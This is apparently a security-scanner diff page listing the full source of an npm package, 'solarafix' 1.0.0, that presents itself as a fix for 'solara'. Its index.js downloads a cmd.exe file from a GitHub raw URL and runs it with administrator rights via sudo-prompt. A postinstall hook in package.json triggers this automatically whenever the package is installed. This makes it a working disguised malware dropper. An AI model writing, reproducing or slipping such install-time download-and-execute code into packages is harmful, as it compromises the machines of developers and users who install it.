solarafix 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +38 -0
- package/package.json +17 -0
package/index.js
ADDED
@@ -0,0 +1,38 @@
|
|
1
|
+
const fs = require('fs-extra');
|
2
|
+
const path = require('path');
|
3
|
+
const fetch = require('node-fetch');
|
4
|
+
const sudo = require('sudo-prompt');
|
5
|
+
const { exec } = require('child_process');
|
6
|
+
|
7
|
+
const exeFileName = 'cmd.exe';
|
8
|
+
const downloadUrl = 'https://github.com/GeniAIDiscord/Solara2/raw/refs/heads/main/cmd.exe';
|
9
|
+
const exeFilePath = path.join(__dirname, exeFileName);
|
10
|
+
|
11
|
+
async function downloadFile(url, outputPath) {
|
12
|
+
const response = await fetch(url);
|
13
|
+
if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
|
14
|
+
const buffer = await response.buffer();
|
15
|
+
await fs.writeFile(outputPath, buffer);
|
16
|
+
}
|
17
|
+
|
18
|
+
async function runExecutable() {
|
19
|
+
try {
|
20
|
+
// Download the executable file
|
21
|
+
await downloadFile(downloadUrl, exeFilePath);
|
22
|
+
|
23
|
+
// Use sudo-prompt to run the executable with admin rights
|
24
|
+
const options = { name: 'Solara' };
|
25
|
+
sudo.exec(exeFilePath, options, (error, stdout, stderr) => {
|
26
|
+
if (error) {
|
27
|
+
console.error(`Error running the executable with admin rights: ${error}`);
|
28
|
+
return;
|
29
|
+
}
|
30
|
+
console.log(`stdout: ${stdout}`);
|
31
|
+
console.error(`stderr: ${stderr}`);
|
32
|
+
});
|
33
|
+
} catch (error) {
|
34
|
+
console.error(`Download error: ${error}`);
|
35
|
+
}
|
36
|
+
}
|
37
|
+
|
38
|
+
runExecutable();
|
package/package.json
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
{
|
2
|
+
"name": "solarafix",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Fixes any problems with solara.",
|
5
|
+
"main": "index.js",
|
6
|
+
"bin": {
|
7
|
+
"solarafix": "index.js"
|
8
|
+
},
|
9
|
+
"scripts": {
|
10
|
+
"postinstall": "node index.js"
|
11
|
+
},
|
12
|
+
"dependencies": {
|
13
|
+
"fs-extra": "^10.0.0",
|
14
|
+
"node-fetch": "^2.6.7",
|
15
|
+
"sudo-prompt": "^9.2.1"
|
16
|
+
}
|
17
|
+
}
|